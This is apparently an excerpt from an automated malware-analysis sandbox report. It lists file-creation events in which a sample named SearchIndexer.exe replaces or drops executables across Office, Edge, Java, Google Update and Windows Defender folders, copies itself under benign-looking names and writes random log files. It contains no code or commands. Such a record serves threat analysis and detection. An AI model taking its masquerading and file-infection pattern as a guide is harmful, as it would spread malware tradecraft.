                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\QWQVqwoz.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\DiJGaagK.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\YAYKaqDh.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\csYLXLvO.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\kpEaCKQF.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Au3Check.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\TYnVXEze.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\yVVZwldW.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\sRLquvOw.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\WqYmKtXd.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\CaAofPGe.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\IniXRspB.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Users\user\AppData\Local\Temp\chrome.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\YUdUknhP.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\oJaATZbJ.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\BAeGeXTe.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\jzkKkMJA.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\zysYIoOi.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Program Files (x86)\Windows Defender\SearchIndexer.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Au3Info.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\lSjJLcbQ.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\anplGAHn.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\ZCiUQOvV.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exeJump to dropped file
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Windows\System32\SecurityHealthSystray.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\QNsVGKUC.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\SPfDctZy.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\VMrdIRuc.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Windows\svchost.comJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\tHZIVhBi.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\VrnUzURu.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\iTuSlVGA.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\aViTseNl.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\MrGoJLyr.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\oVvrynel.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\zpVYYBvm.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\wNNHBaEp.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\EcnWByLa.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\hctSEgaX.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\MIUEPsLM.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\PbyWKVQt.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\NfKwuYup.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\KyrFXOMt.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Uninstall.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\giPBeHvH.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\zAChyMGX.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\SBxdsXQA.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exeJump to dropped file
